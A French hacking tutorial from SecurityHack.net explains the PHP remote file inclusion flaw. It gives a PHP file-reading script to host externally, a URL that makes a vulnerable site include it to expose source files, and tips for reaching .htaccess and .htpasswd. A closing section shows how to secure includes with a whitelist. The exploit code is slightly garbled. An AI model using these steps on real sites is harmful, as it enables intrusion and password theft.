Site partenaire
 IP Scan :
Home
  Accueil
SH en favoris
- FORUMS -
Livre d'Or
- CHAT -
NewsLetter
Suggestions
La Team du Site
Accès Team SH
Faites un don !
Contacts
 
Services
  Liens
Source HTML viewer
DownLoad
Mail Anonyme
 
Les Articles
  Cracking
Théorie
Programmation
Failles [techniques]
Les Adresses IP
FingerPrinting
Utilisation de proxy
Divers
 
WallPapers Galerie
   
Partenaires
  The Hackademy Web, Journal et School

 
 Main Message
 
Le recrutement au sein de la Team SH est suspendu pour une durée indéterminée...

Pour surfer sur ce site, vous devez accepter le disclaimer.

Vous pouvez contribuer au développement du site en faisant un don. SecurityHack a besoin de vous !

 
 Include php [Faille]
 
L' include php

Présentation

Cette faille repose sur l'une des possibilités qu'offre le PHP : la fonction "include( )".

Celle-ci permet d'inclure une page ou un fichier au sein d'une page PHP.

 

Par exemple :

<? include ('http://www.google.com'); ?>

Cette commande aura pour but d'inclure la page google à l'endroit où on met ce script.

 

L'url obtenue est généralement de ce type : http://www.site.com/page.php?var=admin.php

Ici, "page.php" est ... la page, elle contient la fonction et "var" qui se trouve être ... la variable !

admin.php elle, est la page à inclure grâce à la variable. Tout est clair ?

NON ?

C 'est pourtant simple, lorsqu'on clique sur le lien, la page admin.php

(c'est un exemple pour ceux qui ne l'aurait pas compris) est incluse grâce à la variable "var".

 

Bien, continuons :

Ici l'extension et l'url nous apprennent que l'accès admin se trouve sur la page admin.php (on s'en doutait) et

que cette page est dans le même répertoire que "page.php".

Et surtout, on remarque que la variable n'est PAS protégée.

Si admin.php n'existait pas (lien mort, ...), nous obtiendrions une erreur de ce style :

" Warning: Failedng 'http://www.site.com' for inclusion (include_path='le_chemin_spécifique_au_serveur') in page.php on line 15 (par exemple) "

 

Exploitation

En effet, le webmaster, novice du PHP, n'a pas pensé à protéger sa variable.

Pour s'en convaincre, tapons : http://www.site.com/page.php?var=http://www.google.com

Et le célèbre moteur s'affiche en plein milieu de site.com !

Dans le cas contraire : soit vous avez mal tapé l'url (Attention, le "http://" est important !)

et vous obtiendrez un erreur, soit vous tombez sur une 404 ou sur un commentaire moqueur de l'admin.

Bon google est là ? On en déduit que le serveur peut inclure N'IMPORTE QUOI !!

Alors on va sur Multi, on se créé un compte et comme nous au moins, nous maîtrisons le PHP :-), on fait un

petit script permettant de voir la source d'un fichier.php par exemple.

 

<?

$inF = f$file, "r");

$j="";

 while (!feof($inF)) {

  $j=$j.fgets($inF, 4096)."<br>";

 }

$j='<font color="#000000">'.$j.'</font>';

echo $j;

fclose($inF);

?>

 

On retourne sur notre site et on fait une petite inclusion de notre script :

http://www.site.com/page.php?var=http://membres.lycos.fr/mon_compte/mon_script.php?file=../index.php

Et là, magnifique ! La source de la page index.php à la racine du site apparait en clair :)

 

Cerise sur le gâteau, notre script qui est interprété par le serveur cible, est tout puissant car appelé par le site lui-même et non par notre navigateur. Un petit .htaccess vous barre la route, pas de problème, vous l'incluez et il vous offre le .htpasswd.

 

La "faille" (si on peut l'appeler ainsi, car c'est simplement une utilisation naïve des possibilités de la fonction) vous permet donc l'accès à toutes les ressources du site en navigant dans les répertoires, y compris ceux protégés.

 

Ce qu'il faut faire

Bien ! Vous avez trouvé un serveur sensible, bravo ! Alors soit vous êtes sympa, vous prévenez l'admin !

Il ne vous répond pas ? Envoyez-lui ses mots de passe, il réagira !

Dans tout les cas, ne défacez pas le site, ça sert à rien, et vous ne serez plus un Hacker mais un Crasher !

 

Sécurisation

Bon ,vous êtes peut être aussi un webmaster en quête d'infos, alors pour vous, nous allons expliquer comment sécuriser vos petites pages.

C'est simple, déjà, incluez seulement le nom des pages, sans l'extension. Celle-ci (si toutes vos pages portent la même extension) peut-être ajoutée juste avant l'inclusion.

Puis pour parfaire le tout, une commande PHP bien pratique nous permet de vérifier que le document existe SUR LE SERVEUR : file_exist( ).

Voilà une possibilité pour sécuriser vos variables d'inclusion :

Prenons comme exemple une index.php qui inclue comme ça : index.php?page=rubrique

<?

if ($page == 'rubrique') { include('page.php'); }

elseif ($page == 'rubrique2') { include('page2.php'); }

elseif ($page == 'rubrique3') { include('page3.php'); }

/* etc....*/

else {include ("sommaire.php"); }

?>

 

Je précise quand même que les liens doivent être du style :

<a href="page.php?page=rubrique">Rubrique</a>

 

Shad0w

Welcome To SecurityHack.net Articles catalogue

securityhack.net v 4_2
 
Les Sous-domaines
  Projet JackShell
+ Challenge BigContest +
JackTrojan
Forums
Chat IRC
 
Chat Box
 
Up Down
Pseudo :
Message :

 
Box News !
 
 

02 visiteur(s) online
© 2003, 2004 www.SecurityHack.net | Admin : Shad0w ; Webmasters : P41f0x, Dark-Jedi